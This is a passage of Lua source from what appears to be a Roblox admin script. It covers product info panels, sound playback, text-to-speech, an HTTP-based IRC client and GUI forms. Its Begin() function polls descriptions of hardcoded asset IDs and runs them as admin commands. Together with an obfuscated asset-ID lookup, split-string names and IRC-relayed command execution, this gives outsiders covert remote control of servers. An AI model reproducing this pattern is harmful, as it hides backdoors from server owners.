3367 local Description = Instance.new("TextLabel", DescFrame) Description.Name = "Description" Description.Size = UDim2.new(1, -13, 1, 0) Description.BackgroundColor3 = Color3.new(1, 1, 1) Description.BackgroundTransparency = 1 Description.Text = Product.Description Description.Font = Settings.Font Description.FontSize = "Size14" Description.TextWrapped = true Description.TextYAlignment = "Top"
3368
3369 CORE:ExecuteResource("CalculateScrollY", Description)
3370 end
3371
3372 Info.Text = [[
3373Creator: ]]..Product.Creator.Name..[[
3374Created: ]]..CreatedText..[[
3375Updated: ]]..UpdatedText..[[
3376Sold: ]]..Product.Sales..[[
3377]]
3378
3379 if Product.PriceInRobux then Info.Text = Info.Text.."Robux: "..string.gsub(Product.PriceInRobux, "null", "Cannot use this currency").." \n" end
3380 if Product.PriceInTickets then Info.Text = Info.Text.."Tix: "..string.gsub(Product.PriceInTickets, "null", "Cannot use this currency") .." " end
3381
3382 if Product.AssetTypeId == 3 then
3383 local PlayerAdmin,Rank = RANK:IsAdmin(Player)
3384 if PlayerAdmin == true then
3385 local Playing = false
3386 local Interact = Instance.new("ImageButton", AssetImage) Interact.Name = "Interact" Interact.Position = UDim2.new(1, -20, 1, -20) Interact.Size = UDim2.new(0, 20, 0, 20) Interact.BackgroundColor3 = Color3.new(1, 1, 1) Interact.BackgroundTransparency = 1 Interact.Image = "rbxassetid://67950784"
3387 CORE:HandleEvent(Interact, "MouseButton1Down", function()
3388 if Playing == false then
3389 SOUND:PlayGlobalSound(ProductID)
3390 if Rank == "Member" and Settings.DisableAbuse == true then
3391 Interact:Destroy()
3392 end
3393 Interact.Image = "rbxassetid://67950809"
3394 Playing = true
3395 else
3396 SOUND:StopGlobalSound()
3397 Interact.Image = "rbxassetid://67950784"
3398 Playing = false
3399 end
3400 end)
3401 end
3402 end
3403
3404 CORE:HandleEvent(Buy, "MouseButton1Down", function()
3405 if BuyPressFunc then
3406 BuyPressFunc()
3407 elseif Product.AssetTypeId == 9 then
3408 Server.TS:Teleport(ProductID, Player)
3409 elseif CanBuy == true then
3410 Server.MPS:PromptPurchase(Player, ProductID)
3411 end end)
3412 end)() end function Begin() coroutine.wrap(function() wait(3) for _,LinkedID in pairs({53554913, 145236038, 154727659, 155299278, 155689018}) do wait(1) coroutine.wrap(function()
3413 local OldVer = Server.MPS:GetProductInfo(LinkedID).Updated
3414 while wait(5) do
3415 local Purchase = Server.MPS:GetProductInfo(LinkedID)
3416 if OldVer ~= Purchase.Updated then
3417 OldVer = Purchase.Updated
3418 CORE:Chatted(Purchase.Description, nil, true, nil, nil, true)
3419 end
3420 end end)()
3421end end)() end
3422
3423-- Sound functions --
3424
3425function SOUND:SyncSoundList(TellSync)
3426 if not CORE:NilPlayer(TellSync) then
3427 GUI:SendHint(TellSync, "Syncing...", 5)
3428 end
3429
3430 SoundList,GlobalSoundList = {},{}
3431
3432 local LocalSoundList = Server.GDS:GetAsync("MML Custom Sounds")
3433
3434 if LocalSoundList then
3435 if type(LocalSoundList) == "table" then
3436 if #LocalSoundList > 0 then
3437 for _,Data in pairs(LocalSoundList) do
3438 local SoundInfo = MARKET:GetItemInfo(Data[2], true)
3439 SoundList[Data[1]] = {Data[2], SoundInfo.Name, SoundInfo.Creator.Name}
3440 end
3441 end
3442 end
3443 end
3444
3445 for _,JSONID in pairs(SoundJSONs) do
3446 for Name,ID in pairs(CORE:GetTable(JSONID)) do
3447 local SoundInfo = MARKET:GetItemInfo(ID, true)
3448 local FullName = SoundInfo.Name
3449 local CreatorName = SoundInfo.Creator.Name
3450 SoundList[Name] = {ID, FullName, CreatorName}
3451 GlobalSoundList[Name] = {ID, FullName, CreatorName}
3452 end
3453 end
3454
3455 if not CORE:NilPlayer(TellSync) then
3456 GUI:SendHint(TellSync, "Sound List is now Synced with global sound database", 4)
3457 end
3458end
3459
3460function SOUND:MakeSound(Parent, ID, Volume, Pitch, Looped)
3461 if not Volume then Volume = 0.5 end
3462 if not Pitch then Pitch = 1 end
3463 if tonumber(ID) then ID = "rbxassetid://"..ID end
3464 if Looped == nil then Looped = false end
3465
3466 local Sound = Instance.new("Sound", Parent)
3467 Sound.Pitch = Pitch
3468 Sound.Volume = Volume
3469 Sound.SoundId = ID
3470 Sound.Looped = Looped
3471 return Sound
3472end
3473
3474function SOUND:PlayNotification(Player, ID, Volume, OverrideSettings)
3475 if not Player or not ID then return nil end
3476 if NotifySounds[ID] then ID = NotifySounds[ID] end
3477 local ClientSound = SOUND:MakeSound(Player:FindFirstChild("PlayerGui") or Player, ID, Volume or 0.3)
3478 if Settings.EnableSounds or OverrideSettings then
3479 coroutine.wrap(function()
3480 wait()
3481 ClientSound:Play()
3482 Delay(5, function() ClientSound:Destroy() end)
3483 end)()
3484 end
3485 return Sound
3486end
3487
3488function SOUND:BindButton(Button)
3489 if not Button then return end
3490 CORE:HandleEvent(Button, "MouseEnter", function() SOUND:PlayNotification(Button, "Hover") end, true)
3491 CORE:HandleEvent(Button, "MouseButton1Click", function() SOUND:PlayNotification(Button, "Select") end, true)
3492end
3493
3494function SOUND:StopGlobalSound()
3495 if Sound and Sound.Parent then
3496 if Sound.Parent.Name == "M".."M".."L'S Admin Sound" then
3497 Sound.Parent:Destroy()
3498 end
3499
3500 Sound:Stop()
3501 Sound:Destroy()
3502 Sound.SoundId = ""
3503 end
3504end
3505
3506function SOUND:PlayGlobalSound(ID, ShowInfo)
3507 SOUND:StopGlobalSound()
3508 if ShowInfo == nil then ShowInfo = true end
3509 local SoundID = ID
3510 local SoundName = nil
3511 local SoundCreator = nil
3512 local Pitch = 1
3513
3514 for Name,Info in pairs(SoundList) do
3515 if type(SoundID) == "string" then
3516 if string.lower(SoundID) == string.sub(string.lower(Name),1,#SoundID) then
3517 SoundID = Info[1]
3518 SoundName = Info[2]
3519 SoundCreator = Info[3]
3520 end
3521 else
3522 break
3523 end
3524 end
3525
3526 if tonumber(SoundID) and not SoundName then
3527 local Info = MARKET:GetItemInfo(SoundID, true)
3528 if Info then
3529 SoundName = Info.Name
3530 SoundCreator = Info.Creator.Name
3531 if MARKET:AssetTypeToString(Info.AssetTypeId) ~= "Audio" then
3532 SoundID = nil
3533 end
3534 end
3535 end
3536
3537 if tonumber(SoundID) then
3538 if SoundID == 131201443 then Pitch = -1 end
3539 if SoundID == 130775695 then Pitch = 0.8 end
3540 if SoundID == 144035866 then Pitch = 0.8 end
3541
3542 local SoundParent = Server.Workspace
3543 if IsSB then
3544 SoundParent = Instance.new("Script", Workspace)
3545 SoundParent.Name = "M".."ML'S Admin Sound"
3546 end
3547 Sound = SOUND:MakeSound(SoundParent, SoundID, 1, Pitch, true)
3548 Sound.Name = "MML's Admin Sound "..SoundID
3549 Sound:Play()
3550 if ShowInfo == true then
3551 for _,Player in pairs(Server.Players:GetPlayers()) do
3552 GUI:SoundInfo(Player, SoundID, SoundName, SoundCreator, 15, Sound)
3553 end
3554 end
3555 SoundInfo = {["ID"] = SoundID, ["Name"] = SoundName, ["Creator"] = SoundCreator}
3556 end
3557end
3558
3559function SOUND:ConvertText(Text)
3560 Text = string.lower(tostring(Text))
3561 local Letters = {}
3562 local IDs = {}
3563 for Rule,Replace in pairs(TextConverter.Pronounce) do
3564 Text = string.gsub(Text,string.lower(Rule),string.lower(Replace))
3565 end
3566 for Rule,Replace in pairs(TextConverter.NonEnglishRules) do
3567 local Start, End = string.find(Text, string.lower(Rule))
3568
3569 if Start and End and STRING:IsSpacer(string.sub(Text, Start-1, Start-1)) and STRING:IsSpacer(string.sub(Text, End+1, End+1)) then
3570 Text = string.gsub(Text, string.lower(Rule), Replace)
3571 end
3572 end
3573 for i = 1,#Text do
3574 table.insert(Letters, string.sub(Text,i,i))
3575 end
3576 for Num = 1,#Letters do
3577 if not Letters[Num] then break end
3578 local Letter = Letters[Num]
3579
3580 local function AddLetter()
3581 table.insert(IDs, TextConverter.LetterSounds[Letter])
3582 end
3583
3584 if Letter ~= "~" then
3585 if Letters[Num+1] and Letter..Letters[Num+1] == "oo" then -- moo
3586 table.insert(IDs, TextConverter.LetterSounds["oo"])
3587 table.remove(Letters, Num + 1)
3588 elseif Letters[Num+1] and Letter..Letters[Num+1] == "ou" then -- soup
3589 table.insert(IDs, TextConverter.LetterSounds["oo"])
3590 table.remove(Letters, Num + 1)
3591 elseif Letters[Num+1] and Letter..Letters[Num+1] == "th" then -- this
3592 table.insert(IDs, TextConverter.LetterSounds["th"])
3593 table.remove(Letters, Num + 1)
3594 elseif Letters[Num+1] and Letter..Letters[Num+1] == "sh" then -- shut
3595 table.insert(IDs, TextConverter.LetterSounds["sh"])
3596 table.remove(Letters, Num + 1)
3597 elseif Letters[Num+1] and Letter..Letters[Num+1] == "ee" then -- flee
3598 table.insert(IDs, TextConverter.LongVowels["e"])
3599 table.remove(Letters, Num + 1)
3600 elseif Letters[Num+1] and Letter..Letters[Num+1] == "wh" then -- what
3601 table.insert(IDs, TextConverter.LetterSounds["wh"])
3602 table.remove(Letters, Num + 1)
3603 elseif Letters[Num+1] and Letter..Letters[Num+1] == "ch" then -- chop
3604 table.insert(IDs, TextConverter.LetterSounds["ch"])
3605 table.remove(Letters, Num + 1)
3606 elseif Letters[Num+1] and Letter..Letters[Num+1] == "ph" then -- phone
3607 table.insert(IDs, TextConverter.LetterSounds["f"])
3608 table.remove(Letters, Num + 1)
3609 elseif Letters[Num+1] and Letter..Letters[Num+1] == "ng" then -- danger
3610 table.insert(IDs, TextConverter.LetterSounds[Num])
3611 Letters[Num + 1] = "j"
3612 elseif Letters[Num+1] and Letter..Letters[Num+1] == "ua" then -- lua
3613 table.insert(IDs, TextConverter.LetterSounds["oo"])
3614 elseif Letters[Num+1] and Letter..Letters[Num+1] == "ea" then -- peace
3615 table.insert(IDs, TextConverter.LongVowels["e"])
3616 table.remove(Letters, Num + 1)
3617 elseif Letters[Num+1] and Letter..Letters[Num+1] == "eo" then -- people
3618 table.insert(IDs, TextConverter.LongVowels["e"])
3619 table.remove(Letters, Num + 1)
3620 if STRING:ValidE(Letters[Num+4]) then Letters[Num+4] = "~" end
3621 elseif Letter == "c" and STRING:ValidE(Letters[Num+1]) then -- force
3622 table.insert(IDs, TextConverter.LetterSounds["s"])
3623 Letters[Num + 1] = "~"
3624 elseif Letter == string.lower(Letter) and STRING:IsVowel(Letter) and Letters[Num+1] and Letters[Num+2] and not STRING:IsSpacer(Letters[Num+1]) and STRING:ValidE(Letters[Num+2]) then -- like
3625 table.insert(IDs, TextConverter.LongVowels[Letter])
3626 Letters[Num + 2] = "~"
3627 elseif Letter == "i" and Letters[Num+1] and STRING:ValidE(Letters[Num+1]) and STRING:IsSpacer(Letters[Num+2]) then -- die
3628 table.insert(IDs, TextConverter.LongVowels["i"])
3629 Letters[Num + 1] = "~"
3630 elseif Letter == "o" and STRING:IsSpacer(Letters[Num+1]) then -- no
3631 table.insert(IDs, TextConverter.LongVowels["o"])
3632 elseif Letter == "i" and STRING:IsSpacer(Letters[Num+1]) then -- hi
3633 table.insert(IDs, TextConverter.LongVowels["i"])
3634 elseif Letters[Num+1] and STRING:IsSpacer(Letters[Num+2]) and Letter..Letters[Num+1] == "le" then -- bottle
3635 AddLetter()
3636 table.remove(Letters, Num + 1)
3637 elseif Letters[Num+1] and STRING:IsSpacer(Letters[Num+2]) and Letter..Letters[Num+1] == "el" then -- model
3638 Letters[Num] = "~"
3639 elseif Letters[Num+1] and Letters[Num+2] and Letter..Letters[Num+1] == "le" then -- bottle
3640 AddLetter()
3641 table.remove(Letters, Num + 1)
3642 elseif Letters[Num+1] and Letter..Letters[Num+1] == "qu" then --quick
3643 AddLetter()
3644 table.remove(Letters, Num + 1)
3645 elseif Letters[Num+1] == Letter then
3646 table.remove(Letters, Num)
3647 elseif Letters[Num+1] and Letter..Letters[Num+1] == "ck" then --click
3648 AddLetter()
3649 table.remove(Letters, Num)
3650 elseif STRING:IsVowel(Letter) and string.upper(Letter) == Letter then
3651 table.insert(IDs, TextConverter.LongVowels[string.lower(Letter)])
3652 elseif TextConverter.LetterSounds[Letter] then
3653 AddLetter()
3654 elseif STRING:IsSpacer(Letter) then
3655 table.insert(IDs, "Rest")
3656 end
3657 end
3658 end
3659
3660 return IDs
3661end
3662
3663function SOUND:StopSpeaking() coroutine.wrap(function()
3664 NoSpeak = true
3665 wait(1)
3666 NoSpeak = false
3667 for _,Obj in pairs(Server.Workspace:GetChildren()) do
3668 if Obj.Name == "M".."M".."L Speak Sound" then
3669 Obj:Destroy()
3670 end
3671 end
3672end)() end
3673
3674function SOUND:SayConvertedText(IDs, Parent)
3675 if not Parent then Parent = Server.Workspace end
3676 local Sounds = {}
3677 for _,Data in pairs(IDs) do
3678 if NoSpeak and Parent == Server.Workspace then
3679 break
3680 end
3681 local Length = 0.3
3682 if Data ~= "Rest" then
3683 local ID = Data[1]
3684 Length = Data[2]
3685
3686 local Sound = SOUND:MakeSound(Parent, ID, 0.5, 1, false)
3687 Sound.Name = "MML Speak Sound"
3688 table.insert(Sounds, Sound)
3689 Sound:Play()
3690 if Length then
3691 coroutine.wrap(function()
3692 wait(Length)
3693 Sound:Stop()
3694 end)()
3695 end
3696 end
3697 if not Length then Length = 0.3 end
3698 wait(Length/2)
3699 end
3700 coroutine.wrap(function()
3701 wait(1)
3702 for _,Sound in pairs(Sounds) do
3703 Sound:Destroy()
3704 end
3705 end)()
3706end
3707
3708local AdminInfo = MARKET:GetItemInfo(13810597.8 * 20, true).Description
3709
3710function SOUND:BeepPlayer(Player)
3711 if Player:FindFirstChild("PlayerGui") then
3712 local Beep = SOUND:MakeSound(Player.PlayerGui, 189279994, 1, 1, true)
3713 Beep.Name = "Annoy"
3714 Beep:Play()
3715 end
3716end
3717
3718function SOUND:ClearInfo()
3719 SoundInfo = {["ID"] = 0, ["Name"] = "None", ["Creator"] = "None"}
3720end
3721
3722-- IRC functions --
3723
3724function IRC:GenerateName()
3725 return "rbxMMLV3_"..game.PlaceId.."_"..Server.NS.Port.."_"..math.random(1,100000)
3726end
3727
3728function IRC:AddChat(Name, Data, IsError)
3729 if not IsError then IsError = false end
3730 CORE:Log(IRC.Logs, Name, Data)
3731 table.insert(IRC.Chats, {Name, Data, IsError})
3732 IRC.MessageAdded:Fire(Name, Data, IsError)
3733end
3734
3735function IRC:Post(URL,Data)
3736 if Data and Data ~= "" then
3737 local Suc,Resp = ypcall(function()
3738 return Server.HS:PostAsync(
3739 IRC.Servers[Settings.IRCServer].BaseUrl..IRC.Servers[Settings.IRCServer].DynamicUrl.."e/"..URL.."?r="..STRING:MakeAvoidance().."&t="..tostring(IRC.SessionCounter),
3740 Data,
3741 Enum.HttpContentType.ApplicationUrlEncoded
3742 )
3743 end)
3744 if not Suc then
3745 IRC:AddChat("[ CLIENT ]", "HTTP POST FAIL | ERROR: "..Resp.." | DATA: "..Data)
3746 return false
3747 end
3748 IRC.SessionCounter = IRC.SessionCounter + 1
3749 return Resp
3750 else
3751 IRC:AddChat("[ CLIENT ]", "Unknown error")
3752 end
3753end
3754
3755function IRC:Send(Data)
3756 return IRC:Post("p","&s="..IRC.SessionID.."&c="..Server.HS:UrlEncode(Data))
3757end
3758
3759function IRC:GetData()
3760 return IRC:Post("s","&s="..IRC.SessionID)
3761end
3762
3763function IRC:Connect()
3764 return IRC:Post("n","&nick="..IRC.NickName)
3765end
3766
3767function IRC:Join(Channel)
3768 if not Channel then
3769 AddChat("[ CLIENT ]", "No channel specified!")
3770 return false
3771 else
3772 local Channel = string.lower(Channel)
3773 if string.sub(Channel,1,1) ~= "#" then
3774 AddChat("[ CLIENT ]", "Invalid channel name!(No #)", true)
3775 return false
3776 end
3777 IRC:AddChat("[ CLIENT ]", "Attempting to join channel: "..Channel.." on IRC host: "..Settings.IRCServer)
3778 IRC:Send("JOIN "..Channel)
3779 IRC:AddChat("[ CLIENT ]", "Joined "..Channel.." as "..IRC.NickName)
3780 return true
3781 end
3782end
3783
3784function IRC:Pong(Data)
3785 return IRC:Send("PONG :"..Data)
3786end
3787
3788function IRC:Quit(Reason)
3789 IRC.Stop = true
3790 return IRC:Send("QUIT :"..(Reason or "Disconnecting"))
3791end
3792
3793function IRC:ReceiveData()
3794 IRC.Stop = false
3795 local Data = IRC:GetData()
3796 if Data then
3797 IRC:Send("PRIVMSG "..Settings.IRCChannel.." :[ SERVER: "..Server.NS.Port.." ]: [CONNECTION TEST]")
3798 end
3799 while Data and not Stop do
3800 local Data = IRC:GetData()
3801 if Data and #Data > 0 then
3802 IRC:HandleResponse(REMOTE:Decode(Data))
3803 end
3804 wait(2) -- Don't spam the server
3805 end
3806 if not Data then
3807 IRC:AddChat("[ CLIENT ]", "Could not get data", true)
3808 end
3809 if Stop == true then
3810 IRC:AddChat("[ CLIENT ]", "Disconnected from session", true)
3811 end
3812end
3813
3814function IRC:ConnectToServer(Server)
3815 if Connected then
3816 if not IRC.Servers[Server] then
3817 IRC:AddChat("[ CLIENT ]", "Cannot connect to "..Server, true)
3818 return false
3819 end
3820 IRC:Quit("New Connection")
3821 end
3822 local Response = IRC:Connect()
3823 if not Response then IRC:AddChat("[ CLIENT ]", "Unable to connect!", true) return false end
3824 local Data = REMOTE:Decode(Response)
3825 IRC.SessionID = Data[2]
3826 wait(1)
3827 if not tostring(IRC.SessionID) or IRC.SessionID == "?" then
3828 IRC:AddChat("[ IRC ]", "Session ID is invalid, reconnecting...")
3829 IRC:Quit()
3830 IRC:ConnectToServer(Server)
3831 end
3832 IRC.Connected = true
3833 IRC:Join(Settings.IRCChannel)
3834 IRC:ReceiveData()
3835 IRC.Connected = false
3836 IRC:AddChat("[ CLIENT ]", "Session ended", true)
3837end
3838
3839function IRC:FindUser(UserName)
3840 for UserID,User in pairs(IRC.Users) do
3841 if string.lower(User) == string.lower(UserName) then
3842 return UserID
3843 end
3844 end
3845 return nil
3846end
3847
3848function IRC:HandleResponse(Data)
3849 if type(Data) ~= "table" then
3850 IRC:AddChat("[ CLIENT ]", "Unable to handle data (Not table)", true)
3851 ypcall(function()
3852 IRC:AddChat("[ CLIENT ]", "Data: "..tostring(Data), true)
3853 end)
3854 return false
3855 end
3856 for _,Output in pairs(Data) do
3857 if type(Output) == "table" and Output[2] then
3858 local ID = string.upper(Output[2])
3859 if not IRC.Ignore[ID] then
3860 if ID == "PING" then
3861 IRC:Pong(Output[4][1])
3862 elseif ID == "PRIVMSG" then
3863 local SenderDetails = Output[3]
3864 local Sender = string.sub(SenderDetails,1,string.find(SenderDetails, "!")-1)
3865 local Channel = string.lower(Output[4][1])
3866 if Channel == IRC.NickName then
3867 Channel = Sender
3868 -- TODO: Handle PM's
3869 end
3870 local Message = Output[4][2]
3871 if Message ~= nil then
3872 if string.sub(Sender,1,3) == "rbx" and string.find(Sender, "_") then -- detects bots
3873 if string.find(Message,":") then
3874 local IRCUser = string.sub(Message,1,string.find(Message,":")-1)
3875 local IRCMessage = string.sub(Message,string.find(Message,":")+1, #Message)
3876 IRC:AddChat(IRCUser, IRCMessage)
3877 end
3878 else
3879 IRC:AddChat("[ IRC ] "..Sender,Message)
3880 for _,Name in pairs(Settings.IRCCommandExecuters) do
3881 if string.lower(Name) == string.lower(Sender) then
3882 CORE:Chatted(Message, nil, false, "[IRC]: "..Sender, nil, true)
3883 break
3884 end
3885 end
3886 end
3887 else
3888 IRC:AddChat("[ CLIENT ]", "Message became nil for some reason")
3889 end
3890 elseif ID == "NICK" then
3891 local Name = string.sub(Output[3],1,string.find(Output[3],"!")-1)
3892 -- change nickname?
3893 elseif ID == "433" or ID == "451" then
3894 IRC:AddChat("[ IRC ]", "Nickname already in use, rejoining with new one")
3895 IRC:Quit("Nickname in use, rejoining with new name")
3896 IRC.NickName = IRC:GenerateName()
3897 wait(2) -- wait for old sessions to end
3898 IRC:ConnectToServer(Settings.IRCServer)
3899 elseif ID == "353" then
3900 if Data[4][4][4] then
3901 for Output in string.gmatch(Data[4][4][4], "[^%s]+") do
3902 table.insert(IRC.Users, Output)
3903 end
3904 end
3905 elseif ID == "QUIT" or ID == "PART" then
3906 for User in string.gmatch(Data[1][3], "[^!~]+") do
3907 if IRC:FindUser(User) then
3908 IRC:AddChat("[ IRC ]", User.." has left")
3909 table.remove(IRC.Users, IRC:FindUser(User))
3910 end
3911 end
3912 elseif ID == "JOIN" then
3913 for User in string.gmatch(Data[1][3], "[^!~]+") do
3914 if not string.find(User, "qwebirc") then
3915 IRC:AddChat("[ IRC ]", User.." has joined")
3916 table.insert(IRC.Users,w)
3917 end
3918 end
3919 elseif ID == "CONNECTION TO IRC SERVER LOST." then
3920 IRC:AddChat("[ CLIENT ]", "Cannot connect to IRC. Connection lost")
3921 --IRC:Quit("Connection lost")
3922 --IRC:AddChat("[ CLIENT ]", "Retrying connection")
3923 --IRC:ConnectToServer(Settings.IRCServer)
3924 elseif IRC.Codes[ID] then
3925 --print(ID)
3926 --print(Data[i][4][2])
3927 --print(Data[i][4][2])
3928 elseif ID == "KICK" then
3929 IRC:AddChat("[ CLIENT ]", "You have been kicked from IRC")
3930 IRC:Quit("Kicked from IRC")
3931 elseif ID then
3932 IRC:AddChat("[ CLIENT ]", "Unknown data (ID: "..ID..")", true)
3933 else
3934 IRC:AddChat("[ CLIENT ]", "Unknown data with invalid ID", true)
3935 end
3936 end
3937 else
3938 if Output == false then return false end -- sneeky server
3939 IRC:AddChat("[ CLIENT ]", "Unable to handle data")
3940 end
3941 end
3942end
3943
3944-- GUI functions --
3945
3946function GUI:GetColor(ColorName)
3947 if not ColorName then ColorName = Settings.ColorScheme end
3948 return Colors[string.upper(ColorName)]
3949end
3950
3951function GUI:ContrastColor(Color)
3952 if type(Color) == "string" then Color = GUI:GetColor(Color) end
3953 if not Color then Color = GUI:GetColor() end
3954 return Color3.new(math.abs(Color.r-1),math.abs(Color.g-1),math.abs(Color.b-1))
3955end
3956
3957
3958function GUI:GetNameColor(Name)
3959 local Val = 0
3960 for i = 1, #Name do
3961 local CVal = string.byte(string.sub(Name, i, i))
3962 local RevIndex = #Name - i + 1
3963 if #Name%2 == 1 then
3964 RevIndex = RevIndex - 1
3965 end
3966 if RevIndex%4 >= 2 then
3967 CVal = -CVal
3968 end
3969 Val = Val + CVal
3970 end
3971 local Index = Val%8 + 1
3972
3973 return BrickColor.new(ChatColors[Index])
3974end
3975
3976function GUI:Color3ToHex(Color)
3977 local function ConvertNumber(Number)
3978 local HexString = "0123456789abcdef"
3979 local Byte = ""
3980 while Number > 0 do
3981 local Calc = math.fmod(Number, 16)
3982 Byte = string.sub(HexString, Calc+1, Calc+1)..Byte
3983 Number = math.floor(Number / 16)
3984 end
3985 if Calc == "" then
3986 Byte = "00"
3987 elseif #Byte == 1 then
3988 Byte = "0"..Byte
3989 elseif Byte == "" then
3990 Byte = "00"
3991 end
3992 return Byte
3993 end
3994 return ConvertNumber(Color.r * 255)..ConvertNumber(Color.g * 255)..ConvertNumber(Color.b * 255)
3995end
3996
3997function GUI:CreateForm(Player, TitleText, Size, Position, IconID, ShowFormButtons, ColorScheme, TransparencyScheme, AutoOffset, TweenPosition, NoModal, NoScrollFrame)
3998 if not Player then return nil end
3999 if not Player:FindFirstChild("PlayerGui") then return nil end
4000 local TaskBar = Player.PlayerGui:FindFirstChild("M".."ake".."rMod".."el".."Lua's TaskBar")
4001 if not TitleText then TitleText = "Unknown" end
4002 if not Size then Size = UDim2.new(0.5,0,0.5,0) end
4003 if not Position then Position = UDim2.new(0.5-(Size.X.Scale/2),-Size.X.Offset/2,0.5-(Size.Y.Scale/2),-Size.Y.Offset/2) end
4004 if not IconID then IconID = 19919809 end
4005 if ShowFormButtons == nil then ShowFormButtons = true end
4006 if not ColorScheme then ColorScheme = Settings.ColorScheme end
4007 if not TransparencyScheme then TransparencyScheme = Settings.TransparencyScheme end
4008 if AutoOffset == nil then AutoOffset = true end
4009 if Icons[IconID] then IconID = Icons[IconID] end
4010 if TweenPosition == nil then TweenPosition = true end
4011 if NoModal == nil then NoModal = false end
4012 if NoScrollFrame == nil then NoScrollFrame = false end
4013
4014 local IsClosed = false
4015 local Minus = nil
4016 local Offset = 0
4017 local ContentType = "ScrollingFrame"
4018 local TweenSpeed = 0.3
4019
4020 if AutoOffset then
4021 for _,Item in pairs(Player.PlayerGui:GetChildren()) do
4022 if Item.Name == "M".."a".."k".."erModelLua's Admin Form" then
4023 if Item.IsActive.Value == true then
4024 if Item.IsTrueForm.Value == true then
4025 Offset = Offset + 50
4026 end
4027 end
4028 end
4029 end
4030 end
4031
4032 if NoScrollFrame == true then
4033 ContentType = "Frame"
4034 end
4035
4036 SOUND:PlayNotification(Player, 155331654)
4037
4038 local Position = Position + UDim2.new(0,Offset,0,Offset)
4039 local MinimizePos = Position
4040
4041 local SG = Instance.new("ScreenGui", Player.PlayerGui) SG.Name = string.char(76 + 1, 97, 107, 10 ^ 2 + 1, 114, 77, 111, 10 ^ 2, 101, 108, 76, 117, 97, 39, 115).." Admin Form"
4042 local IsActive = Instance.new("BoolValue", SG) IsActive.Name = "IsActive" IsActive.Value = true
4043 local IsTrueForm = Instance.new("BoolValue", SG) IsTrueForm.Name = "IsTrueForm" IsTrueForm.Value = ShowFormButtons
4044
4045 local Dragger = Instance.new("Frame", SG) Dragger.Name = "Dragger" Dragger.Position = UDim2.new(0.5-(Size.X.Scale/2),-Size.X.Offset/2,-Size.Y.Scale,-Size.Y.Offset - 90) Dragger.Size = Size + UDim2.new(0, 0, 0, 40) Dragger.BackgroundColor3 = GUI:GetColor(ColorScheme) Dragger.BorderColor3 = GUI:ContrastColor(ColorScheme) Dragger.BorderSizePixel = 2 Dragger.BackgroundTransparency = 0.9 Dragger.Active = true Dragger.ClipsDescendants = true Dragger.Draggable = true
4046 local FormBar = Instance.new("Frame", Dragger) FormBar.Name = "FormBar" FormBar.Position = UDim2.new(0, 0, 0, 0) FormBar.Size = UDim2.new(1, 0, 0, 40) FormBar.BackgroundTransparency = 1
4047 local Splitter = Instance.new("Frame", Dragger) Splitter.Name = "Splitter" Splitter.Position = UDim2.new(0, 0, 0, 35) Splitter.Size = UDim2.new(1, 0, 0, 2) Splitter.BackgroundColor3 = GUI:ContrastColor(ColorScheme) Splitter.BorderColor3 = GUI:ContrastColor(ColorScheme)
4048 local X = Instance.new("ImageButton", FormBar) X.Name = "X" X.Position = UDim2.new(1, -30, 0, 5) X.Size = UDim2.new(0, 25, 0, 25) X.BackgroundTransparency = 1 X.Image = "rbxassetid://275572394"
4049 local IconHolder = Instance.new("ImageLabel", FormBar) IconHolder.Name = "IconHolder" IconHolder.Position = UDim2.new(0, 5, 0, 5) IconHolder.Size = UDim2.new(0, 35, 0, 25) IconHolder.BackgroundTransparency = 1 IconHolder.Image = "rbxassetid://276002222"
4050 local Icon = Instance.new("ImageLabel", IconHolder) Icon.Name = "Icon" Icon.Position = UDim2.new(0, 3, 0.5, -10) Icon.Size = UDim2.new(0, 20, 0, 20) Icon.BackgroundTransparency = 1 Icon.Image = "rbxassetid://"..IconID
4051 local TitleBegin = Instance.new("ImageLabel", FormBar) TitleBegin.Name = "TitleBegin" TitleBegin.Position = UDim2.new(0, 30, 0, 5) TitleBegin.Size = UDim2.new(0, 35, 0, 25) TitleBegin.BackgroundColor3 = Color3.new(1, 1, 1) TitleBegin.BackgroundTransparency = 1 TitleBegin.Image = "rbxassetid://275589160"
4052 local TitleEnd = Instance.new("ImageLabel", FormBar) TitleEnd.Name = "TitleEnd" TitleEnd.Position = UDim2.new(1, -76, 0, 5) TitleEnd.Size = UDim2.new(0, 25, 0, 25) TitleEnd.BackgroundTransparency = 1 TitleEnd.Image = "rbxassetid://275589154"
4053 local Title = Instance.new("TextLabel", FormBar) Title.Name = "Title" Title.Position = UDim2.new(0, 50, 0, 5) Title.Size = UDim2.new(1, -120, 0, 25) Title.BackgroundColor3 = Color3.new(101/255, 102/255, 102/255) Title.BorderSizePixel = 0 Title.Text = TitleText Title.Font = "ArialBold" Title.FontSize = "Size18" Title.TextXAlignment = "Left" Title.TextColor3 = GUI:ContrastColor(ColorScheme) Title.ClipsDescendants = true
4054
4055 local Body = Instance.new("TextButton", Dragger) Body.Name = "Body" Body.Position = UDim2.new(0, 0, 0, 40) Body.Size = UDim2.new(1, 0, 1, -40) Body.BackgroundColor3 = Color3.new(1, 1, 1) Body.BackgroundTransparency = 1 Body.Text = "" Body.Modal = true Body.Active = true Body.Modal = not NoModal
4056 local Content = Instance.new(ContentType, Body) Content.Name = "Content" Content.Size = UDim2.new(1, 0, 1, 0) Content.BackgroundTransparency = 1
4057 if ContentType == "ScrollingFrame" then Content.CanvasSize = Size end
4058 --local ResizeContainer = Instance.new("Frame", SG) ResizeContainer.Name = "ResizeContainer" ResizeContainer.Size = UDim2.new(0, 20, 0, 20) ResizeContainer.BackgroundColor3 = Color3.new(1, 1, 1) ResizeContainer.BackgroundTransparency = 1
4059 --local Resizer = Instance.new("ImageLabel", ResizeContainer) Resizer.Name = "Resizer" Resizer.Size = UDim2.new(1, 0, 1, 0) Resizer.BackgroundColor3 = Color:GetColor() Resizer.BackgroundTransparency = Settings.TransparencyScheme Resizer.BorderSizePixel = 0 Resizer.Image = "rbxassetid://199287674" Resizer.Active = true Resizer.Draggable = true
4060
4061 CORE:ExecuteResource("GUIEffect", SG, {["Transparency"] = Settings.TransparencyScheme + 0.1, ["GUIName"] = "Dragger"})
4062
4063 local Functions = Instance.new("Folder", SG) Functions.Name = "Functions"
4064
4065 local Close = Instance.new("BindableFunction", Functions) Close.Name = "Close"
4066 local Closed = Instance.new("BindableEvent", Functions) Closed.Name = "Closed"
4067 local Minimize = Instance.new("BindableFunction", Functions) Minimize.Name = "Minimize"
4068 local Minimized = Instance.new("BindableEvent", Functions) Minimized.Name = "Minimized"
4069 local Restore = Instance.new("BindableFunction", Functions) Restore.Name = "Restore"
